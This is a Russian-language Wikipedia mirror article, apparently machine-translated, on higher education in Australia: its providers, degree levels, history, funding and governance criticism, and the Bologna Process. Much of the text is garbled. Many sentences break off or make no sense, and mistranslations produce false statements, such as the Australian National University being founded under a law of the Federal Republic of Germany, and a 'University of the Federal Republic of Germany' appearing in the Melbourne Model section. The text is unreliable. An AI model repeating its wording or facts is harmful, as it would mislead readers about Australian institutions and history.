Полные Wiki

Поиск:

Дополнительная информация о высшем образовании в Австралии

• Wikis
  • Энциклопедия
    • Австралийский университет
    • Распределение обязанностей
    • Классификация третичных квалификаций
    • история
      • К Второй мировой войне
      • Вторая мировая война 1972 года
      • После 1972 года
      • 1980-е годы
      • 1990-е годы
      • 2000-е годы
    • критика
      • Схемы сбора средств в университетах – иностранные студенты
      • управление
      • Мельбурнский университет Частное предприятие
      • Подходы к управлению
      • Меры безопасности федерального правительства
      • Текущая работа университета – исследование Института Мельбурна
    • Будущие направления
      • Болонский процесс и Австралия
      • Международный рейтинг
      • Профессиональное образование и обучение
      • Отчет Брэдли 2008
    • Смотрите также
    • Рекомендации
    • внешние ссылки
  • Ссылки по теме
  • похожие темы
• викторина
  • викторина
• карта
  • Карты

похожие темы

Высшее образование в Австралии: Wikis

Похожие темы

Энциклопедия

Из Википедии, бесплатной энциклопедии

Высшее образование в Австралии поставщики высшего образования [1]

Высшее учебное заведение является органом, учрежденным или признанным в соответствии с законодательством Содружества, или государством или территорией. Поставщик должен быть одобрен Австралийским законом о государственной поддержке (HESA). Поставщики подчиняются требованиям качества и отчетности.

Поставщик высшего образования является либо:

В 2009 году австралийская система высшего образования состояла из:

• 41 университет, из которых 37 являются государственными учреждениями, 2 являются частными, а 2 являются австралийскими филиалами зарубежных университетов;
• 2 других самостоятельных аккредитованных высших учебных заведения; а также
• аккредитованные государственными и территориальными реестрами несамоуправляемые высшие учебные заведения. К ним относятся некоторые из более чем одного государства и территории.

Несамоуправляемые поставщики высшего образования являются формой очень разнообразной группы лиц, специализирующихся в области здравоохранения, права и бухгалтерского учета.

содержание

Австралийский университет

Австралийские университеты представлены через лоббистский орган национальных университетов университетов Австралии (далее именуемый Австралийским комитетом вице-канцлеров). Восемь университетов в списке сгруппированы в знак признания их воспринимаемого статуса и / или истории и классифицируют себя как «Группа восьми (австралийские университеты)» или «G8». Другие университеты также имеют меньшую известность (например, Австралийская технологическая сеть университетов, Инновационные исследовательские университеты – Австралия). Завершение «12-го года» является основным требованием для поступления в университет, хотя существует множество альтернативных схем входа.

Распределение обязанностей

Содружество несет основную ответственность за государственное финансирование высшего образования. Финансирование Содружества в области высшего образования обеспечивается в основном за счет:

• Схема субсидирования Содружества, которая предусматривает определенное количество поддерживаемых Содружеством мест каждый год;
• Программа кредитования высшего образования (HELP);
• стипендии Содружества; а также
• ряд грантов для конкретных целей, включая качество, обучение и преподавание, исследовательские и исследовательские учебные программы.

Департамент образования, науки и подготовки (DEST) управляет финансированием Содружества, разрабатывает и администрирует политику и программы высшего образования.

Принятие решений, регулирование и управление высшим образованием распределяются между Содружеством, государством и территорией.

По определению в Австралии университеты являются самоаккредитовывающими учреждениями, и каждый из них имеет свое собственное законодательство.

Некоторые аспекты высшего образования являются обязанностью государств и территорий. В частности, большинство университетов создаются или признаются в соответствии с законодательством штата и территории.

Австралийский католический университет создан в соответствии с законодательством корпораций. В нем действуют законы в Новом Южном Уэльсе и Виктории.

Многие частные поставщики также создаются в соответствии с законодательством корпораций.

Государства и территории также отвечают за аккредитацию несамоуправляющихся поставщиков высшего образования.

В качестве самоуправляющих учреждений университеты Австралии имеют достаточно высокий уровень автономии, чтобы действовать в соответствии с законодательными требованиями своих средств правительства Австралии.

Австралийская система квалификаций (AQF) предоставляет дескрипторы для квалификаций, аккредитованных через сектор высшего образования, а также аккредитованных профессионально-техническим образованием сектора. Все аккредитованные поставщики высшего образования перечислены в регистре AQF.

Использование материалов авторского права. Австралийские учебные заведения разрешены адвокатом Содружества.

Классификация третичных квалификаций

В Австралии классификация третичных квалификаций частично регулируется Австралийской квалификационной базой (AQF), которая пытается интегрироваться в единую классификацию всех уровней высшего образования (как профессионального, так и высшего образования).

Однако, поскольку австралийские университеты (и несколько подобных высших учебных заведений) в значительной степени регулируют свои собственные курсы, основное использование AQF заключается в профессиональном образовании. Однако в последние годы произошли некоторые неформальные шаги в направлении стандартизации между высшими учебными заведениями.

В Австралии награды высшего образования классифицируются следующим образом:

• Сертификат, Диплом и степень доктора, которые занимают 1-2 года для завершения и состоят в основном из курсовой работы. Они в основном предлагаются TAFE и другими учреждениями в качестве профессиональной подготовки. Университеты, как правило, получают Сертификаты и Дипломы в качестве дополнений к другой степени, например. Многие австралийские школьные учителя закончили бакалавр искусств или бакалавра наук с дипломом об образовании (DipEd). Они также присуждаются на уровне выпускников, и в этом случае они называются дипломом о высшем образовании или дипломом о высшем образовании (а иногда и последипломным дипломом и последипломным дипломом) и состоят из аналогичного материала для магистров по курсовой работе, но не идут так долго. Различие между дипломами выпускников и аспирантами и дипломами является несколько произвольным и зависит от учреждения, предлагающего их.

• Степени бакалавра, как правило, первый университетский диплом, который занимает 3-4 года для завершения и состоит в основном из курсовой работы. Степени бакалавра иногда присуждаются с отличием лучшим студентам.

В некоторых курсах почетные награды присуждаются на основе результатов в ходе курса (обычно на курсах 4yr +), но обычно почетности состоят в проведении года исследований (например, краткая дипломная работа или «Мастера по исследованиям»). Если награды несут в качестве дополнительного года, это известно. Как правило, один университет должен пригласить учебу в качестве дополнительного года обучения.

Почета могут быть разделены на классы первого, второго и третьего классов. Это по существу эквивалентно американской классификации summa cum laude, magna cum laude, а также с отличием. Лица, которые не совершают почестей или не соблюдают свой курс.

• Магистерские степени, которые вводятся после завершения одного или нескольких степеней бакалавра. Степени магистров относятся к предмету на более продвинутом уровне, чем степени бакалавра, и могут состоять либо из исследования, либо по курсу, либо из смеси двух.

• Докторанты, наиболее известные доктор философии (Ph.D.), которые назначаются после получения степени бакалавров или магистров, по оригинальному исследовательскому проекту, в результате которого диссертация или диссертация. Степень бакалавра с хорошими почестями (1-й класс или второй класс I) или степень магистра с исследовательским компонентом.

Во многих случаях студент, имеющий только степень бакалавра, может записаться в магистерскую программу, а затем перейти к кандидатской диссертации. Австралийские кандидаты не склонны принимать до тех пор, пока американские или британские, и состоят из меньшей курсовой работы, чем большинство американских кандидатов наук; Однако это часто случается с австралийскими докторами наук. Существуют также профессиональные врачи, которые состоят из передовой курсовой работы и значительного проекта в таких областях, как образование (DEd). Не существует понятия «первая профессиональная докторантура», как те, которые присуждаются в Соединенных Штатах.

• Высшие докторанты, такие как доктор наук (доктор наук) или доктор писем (DLitt), которые присуждаются на основе записи оригинальных исследований или публикаций на протяжении многих лет (часто не менее 10).

Австралийские университеты, как правило, присуждают больше названных степеней в учреждениях в некоторых других странах. Большинство австралийских университетов предлагают несколько разных степеней на факультет. Это прежде всего для маркетинговых целей. Университеты часто пытаются превзойти друг друга, предлагая единственную степень.

Напротив, на уровне бакалавриата в Оксфордском университете почти все студенты заканчивают степень бакалавра искусств (BA), даже если они изучают такие области, как химия или экономика, тогда как в большинстве австралийских учреждений только студенты, предпочитающие сосредоточиться в гуманитарных науках, будут награжден BA Хотя, несмотря на большое распространение на уровне бакалавров и магистров, на докторантуре и высшей докторантуре, большинство врачей являются докторами наук.

В отличие от американских учреждений, где большинство врачей или юристов заканчивают учебу с M.D. или J.D., врачи и адвокаты в Австралии обычно заканчивают только степени бакалавра. В Австралии степень доктора присуждается только после первоначального исследования или honoris causa, хотя специализированные врачи.

В случае с врачами наиболее распространенной наградой является M.B.B.S., двойная степень бакалавра медицины и бакалавра хирургии (это похоже на случай в Великобритании). Наиболее распространенной наградой для юристов является LL.B. (Латинская аббревиатура для бакалавра права).

Традиционно в Австралии медицинские степени начинались сразу же после среднего образования, в отличие от Соединенных Штатов. Тем не менее, некоторые университеты ввели выпускников только степени в области медицины, но они по-прежнему относятся к категории бакалавров.

Закон обычно изучается как комбинированная степень, например, с искусством или наукой (BA / LLB, BSc / LLB), с небольшим количеством мест, доступных для «прямой» юридической степени. Студенты в самых разных областях. Еще одна распространенная комбинация – торговля и право, которая открывает много позиций в бизнесе, торговле и промышленности. Закон в Австралии показывает, что меньше выпускников продолжают заниматься адвокатами; вместо этого многие выпускники работают в частном секторе или в государственных секторах.

Австралийские степени бакалавра иногда имеют продолжительность всего 3 года, однако большинство из них – четыре года в Соединенных Штатах. Продолжительность степени обычно зависит от области исследования; например, инженерия занимает четыре года, а медицина занимает шесть. Также доступны комбинированные градусы. Австралийские университеты склонны уделять особое внимание либеральному образованию во многих странах в США, что отражается на более короткой продолжительности австралийских степеней.

Недавно была введена степень помощника. Обычно они занимают два года, и их можно рассматривать как эквивалент степени Associate в США и степени Foundation в Великобритании. Они также эквивалентны более старшим австралийским квалификациям Диплома и Диплом о продвижении.

До 1980-х годов дисциплины в области здравоохранения были созданы колледжами высшего образования, которым было запрещено присуждать «степени». Курсы проводились и классифицировались как «Диплом прикладной науки в (Дисциплина)«Эти курсы имеют существенные требования к содержанию, некоторые из которых имеют более 32 учебных занятий, это только дипломы, но в течение многих часов. Однако многие бывшие« дипломаты »либо перевели или обновили свой DipAppScis до соответствующей степени бакалавра, либо арестовали дальнейшее обучение.

история

К Второй мировой войне

Первым университетом, созданным в Австралии, был Сиднейский университет в 1850 году, затем в 1853 году Мельбурнский университет. До начала учений в 1901 году были созданы еще два университета: Университет Аделаиды (1874), Университет Тасмании (1890). Во время федерации население Австралии составляло 3 788 100 человек, и было менее 2 652 студентов университетов. Университет Квинсленда (1909) и Университет Западной Австралии (1911). Все эти общины контролировались правительством и в значительной степени были смоделированы по традиционной британской системе. В своей статье «Высшее образование в Австралии: структура, политика и дебаты» был обнаружен в 1914 году только 3,300 студентов (или 0,1% населения Австралии) были зачислены в университеты. В 1920 году был сформирован Комитет вице-канцлеров Австралии (AVCC), призванный представлять интересы этих шести университетов.

«Не университетские» учреждения изначально выпускаются только с помощью торговых / технических сертификатов, дипломов и профессиональных степеней бакалавра. Хотя университеты отличались от технических колледжей и институтов технологии за счет своего участия в исследованиях, австралийские университеты изначально не были созданы с исследованиями в качестве важного компонента их общей деятельности. По этой причине австралийское правительство учредило в 1926 году организацию научных и промышленных исследований Содружества (CSIRO) в качестве основы для австралийских научных исследований. CSIRO по-прежнему существует сегодня как наследие, несмотря на то, что он по существу дублирует роль.

До Второй мировой войны были созданы два университетских колледжа и новые университеты. Накануне войны население Австралии достигло семи миллионов. Уровень участия в университете был относительно низким. В Австралии было шесть университетов и два университетских колледжа. 10 354 были студентами (включая только 81 высшее учебное заведение) и почти 4000 студентов, не являющихся выпускниками или неграмотными.

Вторая мировая война 1972 года

В 1942 году Комиссия университетов была создана для регулирования поступления в вузы и осуществления Программы обучения восстановлению Содружества (CRTS).

После войны правительство Содружества взяло на себя повышенную роль в финансировании высшего образования со стороны государств. В 1946 году Австралийский национальный университет был основан в соответствии с Законом Федеративной Республики Германии как национальным исследовательским учреждением (исследовательские и последипломные исследования для национальных целей). К 1948 году 32 000 студентов обучались под руководством CRTS.

В течение 1950-х годов число учащихся увеличилось на 30 000 человек, а уровень участия удвоился.

В 1950 году Комитет Миллса. Внесение в университетские финансы с уделением особого внимания краткосрочным, а не долгосрочным вопросам привело к принятию Закона 1959 года о государственных грантах (университетах) (ретроспективно до 1 июля 1950 года). Это была краткосрочная схема, согласно которой Содружество вносило четверть текущих расходов «государственных» университетов.

В 1954 году был создан Университет Новой Англии. В этом году премьер-министр Роберт Мензис создал Комитет по австралийским университетам. В запросе Мюррейского комитета 1957 года было установлено, что финансовая строгость является основной причиной недостатков в университетах: короткое штатное расписание, плохая инфраструктура, высокие показатели отказов, слабые почести и последипломные школы. Было также признано, что правительство Содружества должно взять на себя большую ответственность за государства.

В 1958 году был создан Университет Монаш. Закон штата о грантах (университетах) 1958 года предусматривал финансирование для государств капитала и периодических расходов для университетов на трехгодичный период с 1958 по 1960 год. В 1959 году в Законе 1959 года об австралийских университетах была учреждена AUC в качестве уставного органа для консультирования правительства Содружества по вопросам университета. В период с 1958 по 1960 год ежегодное увеличение числа учащихся в университетах увеличилось на 13%. К 1960 году в десяти университетах было 53 000 студентов. В 1960-х и 70-х годах насчитывалось множество школ: Университет Маккуори (1964), Университет Ла-Тробе (1964), Университет Ньюкасла (1965), Университет Флиндерса (1966), Университет Джеймса Кука (1970), Университет Гриффита 1971 ), Университет Дикина (1974), Университет Мердока (1975), Университет Вуллонгонга (1975). 1960-е годы, число студентов, обучающихся в австралийских университетах. К 1975 году в 19 университетах было 148 000 студентов.

После 1972 года

До 1973 года обучение в университете финансировалось либо через стипендии Содружества, которые основывались на заслугах или в виде сборов. Высшее образование в Австралии было структурировано в три сектора:

• Университеты
• Институты технологии (гибрид между университетом и техническим колледжем).
• Технические колледжи.

В начале 1970-х годов был значительный толчок к высшему образованию в Австралии. В 1973 году лейбористское правительство Уитлама отменило университетские сборы. Посещение университетов. Еще одной причиной отсутствия изменений были показатели удержания в средней школе. Увеличился уровень участия в университете.

В 1974 году Содружество взяло на себя полную ответственность за предоставление высшего образования (университеты и CAE) и учредило Комиссию по высшему образованию Содружества (CTEC), которая имела консультативную роль и отвечала за распределение государственного финансирования среди университетов. Но в 1975 году, в контексте федерального политического кризиса и экономического спада, трехгодичное финансирование университетов было приостановлено. Спрос остался с ростом, направленным в CAE и контролируемые государством колледжи TAFE.

1980-е годы

Однако к середине 1980-х годов они стали консенсусом обеих основных сторон о том, что концепция «бесплатного» высшего образования в Австралии была несостоятельной из-за увеличения доли участия. Как ни странно, последующее лейбористское правительство (правительство Боба Хоука / Пол Китинг) отвечало за постепенное повторное введение платы за учебу в университете. Однако в относительно инновационном движении метод, с помощью которого были введены пошлины, оказался системой, принятой обоими. Система известна как Система вложений высшего образования (HECS) и может использоваться для отсрочки оплаты сборов до тех пор, пока они не начнут профессиональную работу. Студенты также имеют возможность заплатить авансом за свое образование и получить скидку, соразмерную с невыплатой.

К концу 1980-х годов австралийская система высшего образования по-прежнему представляла собой трехуровневую систему, состоящую из:

• Традиционные университеты (в основном оригинальная группа плюс несколько дополнений 20-го века, таких как Университет Монаш)
• Коллекция технических институтов (таких как Королевский Мельбурнский технологический институт (RMIT))
• Коллекция колледжей технического и дополнительного образования (TAFE).

Однако к этому моменту роли университетов, технических институтов и CSIRO также стали размытыми. Институты технологии были переведены из их традиционной роли обучения студентов и отраслевого консалтинга.

По ряду причин, включая разъяснение роли технических институтов, федеральный министр образования (Джон Докинз) создал единую национальную систему, которая сжимает бывшую трехуровневую систему высшего образования в двухуровневую систему , Для этого потребовалось несколько объединений и слияний между более низкими высшими учебными заведениями, а также возможность внедрения институтов в университеты. В результате этих реформ институты технологии исчезли и были заменены коллекцией новых университетов. К началу 1990-х годов двухуровневое высшее образование было создано в австралийско-университетском образовании и техническом и дополнительном образовании (TAFE). К ранним годам нового тысячелетия даже колледжам TAFE было разрешено предлагать степени до уровня бакалавра.

В 1980-х годах также был создан первый в Австралии частный университет, Университет Бонда. Основанный бизнесменом Аланом Бондом, институт Gold Coast получил статус правительства штата Квинсленд в 1987 году. Университет Бонда теперь награждает дипломами, дипломами, степенями бакалавра, магистрантами и докторами по большинству дисциплин.

1990-е годы

По большей части, вплоть до 1990-х годов, традиционные австралийские фирмы сосредоточились на чистых фундаментальных исследованиях, а не на отраслевых / прикладных исследованиях, часть которых была поддержана CSIRO, которая была создана для этой функции , Австралийцы хорошо выступили на международном уровне в чистом исследовании, получив почти дюжину Нобелевских премий в результате участия в чистых исследованиях.

В 1990-х годах федеральное правительство Хоука / Китинга стремилось устранить кратковременное применение прикладных исследований, создав культурный сдвиг в национальном профиле исследований. Это было достигнуто благодаря внедрению национальной системы совместных исследовательских центров (КПР). Эти новые центры были сосредоточены на узкой полосе исследовательских тем (например, фотоники, литые металлы и т. Д.) И были предназначены для содействия сотрудничеству между университетами и промышленностью. Типичный CRC будет состоять из ряда отраслевых партнеров, партнеров университетов и CSIRO. Каждый КПР будет финансироваться федеральным правительством на начальный период в несколько лет. Общий бюджет КПР, состоящий из средств федерального правительства, в сочетании с отраслевыми и университетскими фондами, использовался для финансирования проектов, ориентированных на промышленность, с высоким потенциалом для коммерциализации. Было воспринято, что это приведет к тому, что CRC станут самоподдерживающимися (самофинансирующими) организациями в долгосрочной перспективе, хотя это и не наступило. Большинство австралийских университетов участвуют в CRC, а CSIRO также представлен в спектре этих центров. Это привело к еще большему размыванию роли CSIRO и тому, как оно изучается в австралийских университетах.

2000-е годы

Переход от трехуровневой системы высшего образования к двухуровневой системе был не совсем успешным. По сути, проблема с переходом от восьмых, исследовательских интенсивных традиционных университетов к сбору почти 40 новых / традиционных университетов заключалась в том, что для поддержания новой структуры исследований недостаточно научных исследователей высокого уровня. Однако было недостаточно финансирования федеральных исследований для поддержки почти 40 университетов, проводящих исследования на международном уровне.

К 2006 году стало очевидно, что долгосрочная перспектива не является проблемой в области исследований, ориентированных на ученых. Эти проблемы были освещены в Мельбурнском институте. Дисциплинарные рейтинги австралийских университетов, опубликованные в 2006 году (см. Ниже). Деньги были доступными, были распространены во всех университетах, и даже традиционные университеты имели уменьшенную способность поддерживать критическую массу. Мельбурнский институт статистики, основанный на правительственных (DEST) данных и публикациях, цитирует Thomson Scientifice, показал, что многие из новых университетов забивали «нули» (по шкале 0-100) в своих выбранных областях исследований (т. Е. Были необходимый уровень активности.

критика

В 1990-х годах, в первые годы существования единой национальной системы, решение будущей устойчивости, воспринимаемое австралийскими (тогдашними) вице-канцлерами, заключалось в том, чтобы получить больше денег в систему, а не рационализировать систему. Комитет вице-канцлеров Австралии базируется на странах ОЭСР.

Еще одна проблема, связанная с единой национальной системой, заключалась в оценке эффективности (и из-за того, что общее финансирование было зафиксировано, представлено) игрой с нулевой суммой. Другими словами (арифметически), если бы все университеты одновременно повысили свою эффективность, затратив больше денег, то на практике они были финансово обездолены. Во всех университетах в то же время они находились в лучшем финансовом положении.

Схемы сбора средств в университетах – иностранные студенты

В результате модели финансирования «с нулевой суммой», навязанной федеральным правительством, безусловно, крупнейшим неправительственным источником финансирования системы австралийского университета в размере 5 000 000 000 долл. США в год к 2004 году. Доля Австралии в международный студенческий рынок непропорционально высок по международным стандартам. По оценкам австралийского министерства иностранных дел и торговли, высшее образование Австралии составляет около 12% всего образования в странах с англоязычными языками.

• Раннее проникновение австралийских университетов в развивающийся азиатский рынок образования
• Хорошая международная репутация, созданная традиционными университетами
• Оппортунистическая удача

Оппортунистические элементы успеха привели к чрезмерной уверенности в схемах быстрых денег, основанных на платных международных студентах. Это также привело к многочисленным обвинениям в снижении образовательных стандартов в австралийских университетах и ​​культуре платы за обучение. В 2005 году ведущая телекомпания Австралийской телерадиовещательной комиссии (ABC) «Актуальные вопросы» подчеркнула эту проблему, заявив:

«И когда иностранные студенты высшее образование в Австралии наводнили, университеты погрязли в утверждениях о падении стандартов, мягкой маркировке, плагиате и бэкдорской иммиграции».

Это было особенно заметно в программах последипломной курсовой работы.

управление

С большей долей университета передача из негосударственных средств в администрацию стратегического управления. Однако структуры управления университетом в значительной степени не изменились по сравнению с их истоками 19-го века. Все австралийские университеты имеют систему управления, состоящую из вице-канцлера (главного исполнительного директора); канцлер (неисполнительный руководитель) и университетский совет (руководящий орган). Однако, в отличие от совета директоров юридических лиц, члены университетского совета не имеют ни финансовых, ни наделенных определенными интересами в деятельности организации (хотя правительство штата представлено в каждом университетском совете).

Мельбурнский университет Частное предприятие

В конце 1990-х годов и в первые годы нового тысячелетия, свидетелями которых стали коллекции финансовых, управленческих и академических неудач в университетской системе, наиболее примечательным из них является Мельбурнский университет в поисках «стиля Гарварда». Это было подробно описано в книге («Вне курса»), написанной бывшим премьер-министром Виктории Джоном Каином и соавтором Джоном Хьюиттом, который, возможно, является самым престижным университетом страны.

Газета «Мельбурн Эйн» сообщила в отношении Мельбурнского университета частного дела и книги Джона Каина:

«Это (книга Каина / Хьюитта) утверждает, что у Университета Мельбурна есть свои деньги и сообщается о них неадекватно».

Ряд университетов и исследовательских центров / институтов также страдают от финансовых и академических скандалов, вызванных плохим управлением; отсутствие опыта управления; отсутствие возможностей и направления стратегического планирования. Многие из них были представлены в австралийских СМИ, в том числе:

• Программа ABC 2000 4 Corners, которая находится на публичном размещении в Мельбурнской ИТ-компании из Мельбурнского университета
• Программа ABC 2003 4 Corners, в которой рассматривались вопросы академического мастерства в Университете Нового Южного Уэльса
• ABC 2005 Latelineprogram, которая является ненадлежащим поведением в Кооперативном исследовательском центре для фотоники

Одним из основных вопросов управления является создание федерального правительства Австралии. Это означает, что если между государством и федеральным правительством нет конфликта, федеральная система финансирования, юридический процесс для университетов может быть изменен из государства в штат, и, следовательно, на национальном уровне единообразия управления не существует.

Подходы к управлению

К началу 21-го века уровень участия в австралийских университетах значительно возрос. Статистика DEST 2005 показала, что число учащихся в австралийских университетах достигло 674 092 студентов, работающих полный рабочий день, что больше, чем в десять раз больше, чем в 1960 году. Невозможно было увеличить размер платы за студента, предоставляемый правительством в каждом университете в 1960-х годах, соответственно уровням, необходимым в XXI веке. Необходимо было либо сократить затраты (путем сочетания рационализации, технологических изменений и административной эффективности).

«Несмотря на или из-за массового роста в секторе высшего образования, существует общее мнение о том, что все не так хорошо:

• сотрудники в основном недовольны:
  • отдыхает
  • падение соотношения персонала / ученика (с 1/12 в 1980 году до 1/19 в 2001 году)
  • предпринимательской и управленческой практики
  • Сокращение и устранение традиционных областей, таких как классика, физика и т. Д.

• администрации университетов требуют большей гибкости для взимания сборов, специализации и т. д.
• общепринятое мнение общественности о том, что хорошая система высшего образования важна для будущего страны и что больше / может быть сделано.
• отказ Содружества увеличить уровни финансирования, в соответствии с философией жесткого фискального контроля, а пользователь платит. “

Невозможность расширения масштабов операций в условиях сокращения, доллары на одного студента, проявлялась в сообщениях о плохих оперативных характеристиках отдельных факультетов, особенно в таких дорогостоящих областях, как наука и техника. Действительно, в 2006 году лорд Алек Броерс из Кембриджского университета провел обзор инженерного факультета в Мельбурнском университете. Полученный в результате «Обзор брокеров» был подтвержден в форме вопросов, поднятых ранее, и представлен в листинге неправильного администрирования, плохих методов обучения, краха инфраструктуры студентов, отсутствия планирования и т. Д. Имелись данные о том, что эти плохие практики не ограничиваются одним и тем же факультетом в Австралии.

В 2006 году Федеральный министр образования (Джули Бишоп, Либеральная партия) сделал ряд публичных заявлений о необходимости реформы и рационализации. В одном из заявлений министр предложил, чтобы интересы Австралии могли быть лучше обеспечены наличием только дюжины универсальных университетов и набора других специализированных организаций. На сегодняшний день это единственный показатель значительных изменений на федеральном уровне.

Меры безопасности федерального правительства

Австралийское федеральное правительство создало две системы качества для оценки успеваемости университета. Это агентство качества австралийских университетов (AUQA) и структура качества исследований (RQF). В обзорах AUQA университетов в основном рассматриваются процессы, процедуры и их документация. Учения AUQA, в основном бюрократические, а не стратегические, в настоящее время продвигаются к проведению второго раунда оценок. Недостаток AUQA – это не то, что можно решить любым другим способом, чем бюрократический смысл. В апрельском выпуске «Обзор кампуса» в апреле 2007 года вице-канцлер Университета Нового Южного Уэльса (Фред Хильмер) критиковал как AUQA, так и RQF:

«выделяя AUQA, Хилмер отмечает, что, хотя качество процесса не на месте, ни одно учреждение не утратило свою аккредитацию.

«RQF – это не очень хорошо – это дорогой способ измерения». Если бы мы хотели добавить. “

RQF (с поправкой на изменение в правительстве в 2007 году) был смоделирован по британской системе оценки исследований (RAE) и был предназначен для оценки качества и влияния исследований, проводимых в университетских дисциплин университетов. Его целью было предоставить правительству, промышленности, бизнесу и более широкому сообществу уверенность в том, что качество в рамках международных стандартов. Ожидалось, что оценка позволит дать возможность исследовательским группам сравниться с национальными и международными стандартами в областях дисциплины. Если бы это было успешно реализовано, это было бы отходом от традиционного подхода австралийского правительства к измерению результатов исследований исключительно через библиометрию. RQF чреват разногласиями, особенно из-за стоимости такого обязательства (с использованием международных панелей). Правительство лейбористов, которое отказано в RQF, еще не наметило какую-либо систему, которая заменит ее.

Текущая работа университета – исследование Института Мельбурна

Австралийские университеты обычно хорошо участвуют в 100 лучших международных университетах, которые оцениваются по индексу Цзяо Тонга [3]. Два университета, которые регулярно появляются в нем, – Австралийский национальный университет и Мельбурнский университет. Университет Сиднея также был представлен в рейтинге 2008 года. ANU также появляется в [[4]], которые являются более англо-центрическими по своему составу.

В целом, однако, относительные международные показатели австралийских университетов страдают от размывания, связанного с единой национальной системой, которая поощряет почти 40 университетов быть универсальными по своему характеру и подходу.

В 2006 году Мельбурнский институт провел «дисциплину по дисциплине» по изучению результатов всех австралийских университетов и объединил их с национальным и международным опросом. Несмотря на то, что Институт Мельбурна является частью Университета Мельбурна, Института Дисциплины, Рейтингов Дисциплины. Ряд параметров (включая оценки студентов, удовлетворенность студентов, официальные данные Федерального департамента образования и обучения, данные о студентах , рейтинги сотрудников, международные рейтинги и т. д.) были оценены, чтобы обеспечить дисциплину в разбивке по дисциплинам университетов по шкале от 0 до 100.

Из университетов, которые были включены в рейтинг, только шесть были в состоянии к среднему числу баллов более 50 в тех областях, в которых они участвовали. Два из университетов G8 (Университет Аделаиды и Университет Западной Австралии) не достигли среднего показателя в 50%. Большинство новых студентов составляют примерно 30% относительной производительности по выбранным дисциплинам. В этом исследовании подчеркивается отсутствие потенциала, инвестиций и сосредоточения внимания на выбранных областях. Следует также отметить, что оценка 100 по сравнению с другими австралийскими университетами.

Будущие направления

Федеральное правительство Австралии, которое было отклонено в 2007 году (Либеральная / Национальная коалиция) и тогдашняя Федеральная оппозиция (Лейбористская партия), которая сейчас находится в правительстве обоих сигналов, вышла из реформ Докинза, приближается к концу. Университетам предлагается найти свои ниши. Сложность этого заключается в том, что программы бакалавриата и последипломного образования, которые оказываются финансово прибыльными (то есть прибыльными) с точки зрения поддержания основного бизнеса университета, ограничены (медицина, право, бизнес, экономика и торговля), и там является тенденцией к тому, что все университеты занимаются высокопрофессиональными областями, а не в районах с высокими издержками. По состоянию на апрель 2007 года ни один из австралийских университетов.

Из нынешних университетов только Мельбурнский университет. Опять же, это основано на дополнительном доходе. Так называемая «Мельбурнская модель» была предназначена для реализации в 2008 году. Цель заключалась в том, чтобы продолжить образовательную программу в американском стиле, которая состояла из общих степеней бакалавриата, которые не имели профессионального признания в Австралии, а затем следуют за ними с помощью профессиональных аспирантов ( например, права или техники). Эта стратегия позволит Университету Федеративной Республики Германии принять форму выпускной программы. На своем веб-сайте Университет Мельбурна утверждает, что это обеспечит более широкую модель обучения в соответствии с так называемой Болонской технологической моделью образования, применяемой в Европе. Оппоненты утверждают, что идентичные результаты в отношении образования могут быть достигнуты посредством пятилетней программы обучения без введения полной оплаты.

Ни один из других университетов G8 не указал на какое-либо намерение внести какие-либо фундаментальные изменения в то, как они функционируют, хотя некоторые из них проявили интерес к модели оплаты за обучение в Мельбурне.

Учитывая позиции как федерального правительства, так и федеральной оппозиции, очевидно, что университеты будут меняться в ближайшие годы. Данные исследования Института Мельбурна (особенно данные DATA и ISM).

Болонский процесс и Австралия

В апреле 2006 года правительство Австралии опубликовало дискуссионный документ, озаглавленный «Болонский процесс и Австралия»: следующие шаги, которые доступны по адресу http://www.dest.gov.au/sectors/higher_education/publications_resources/profiles/Bologna_Process_and_Australia.htm

На сайте говорится:

Этот документ был выпущен тогдашним министром образования, науки и подготовки для стимулирования обсуждения Болонского процесса, в соответствии с которым большое число европейских стран работают над большей согласованностью и переносимостью в своих системах высшего образования. Перспектива большей мобильности студентов и более широкое признание квалификаций в Европе может иметь серьезные последствия для отечественных и иностранных студентов в Австралии. Этот документ является первым шагом в процессе консультаций по возможностям и задачам, представленным Болонским процессом.

В тезисах для этой статьи говорится:

Цель этих прений – стимулировать дискуссию в австралийском регионе высшего образования. Процесс, похоже, оказывает глубокое влияние на развитие высшего образования.

Австралия должна знать, как реагировать на эти глобальные события, если ее собственная система высшего образования соответствует качеству и соответствует международным стандартам и требованиям.

Австралийский министр образования в апреле 2006 года сказал, что Болонский процесс, в соответствии с которым большое число европейских стран работает над большей согласованностью и мобильностью в своих системах высшего образования, вероятно, повлияет на развитие высшего образования во многих частях мира, включая Азиатско- Австралия. Это будет иметь важные последствия для австралийских поставщиков высшего образования.

Болонский процесс включает 45 европейских стран, проводящих серию реформ в той мере, в какой структуры, области, структуры, кредитные структуры и системы обеспечения качества.

Цель этой статьи состояла в том, чтобы начать обсуждение важности Болонского процесса для Австралии и возможных ответов австралийцев. Министр сказал:

Вопросы должны рассматриваться в более широком контексте долгосрочного видения высшего образования в Австралии.

Стремление австралийского правительства к высшему образованию состоит в сильном, уверенном, разнообразном и высококачественном секторе, который играет жизненно важную роль в нашем экономическом, культурном и социальном развитии. Проведение реформ в Австралии в будущем, включая дополнительное финансирование в размере 11 млрд. Долл. США в течение 10 лет, значительно продвинулось к достижению этой цели. Однако будущее высшего образования в Австралии должно рассматриваться в более широком международном контексте. Многие другие страны увеличивают свои инвестиции в высшее образование.

Многонациональные и многорегиональные форумы сосредоточены или создаются. Некоторые из них предназначены для увеличения доступа и качества, другие предназначены для гармонизации. Наша общая цель – обеспечить наибольшее разнообразие и качество.

Австралийское высшее образование должно быть в курсе этих международных событий, чтобы наши учреждения по-прежнему считались одними из лучших в мире и что наши выпускники имеют навыки участия в мировой арене.

Болонский процесс может иметь ряд последствий для принятия Австралийские награды высшего образования и возможности для мобильности студентов. Он имеет значительную политическую поддержку в Европе и распространяется на около 4000 учреждений, в которых проживают 16 миллионов студентов.

Это важный процесс, который получает значительное внимание не только в Европе, но и в ряде других стран. Он представляет проблемы и возможности для отношений Австралии с Европой.

Австралия установила тесные связи с, в том числе, в понимании и,.

Процесс, среди прочего, предусматривает более легкое перемещение между учреждений и, после завершения обучения в бакалавриате, получение стенограммы, которая облегчает вход в высшие ученые степени и занятость. Если Австралия не сможет поддерживать согласованность с этими событиями, значительная часть нынешних 32 000 европейских зачислений в австралийские учреждения может найти другие направления более привлекательными. Очевидно, что он должен быть согласован с Болонским процессом, Европа может стать одной из самых привлекательных.

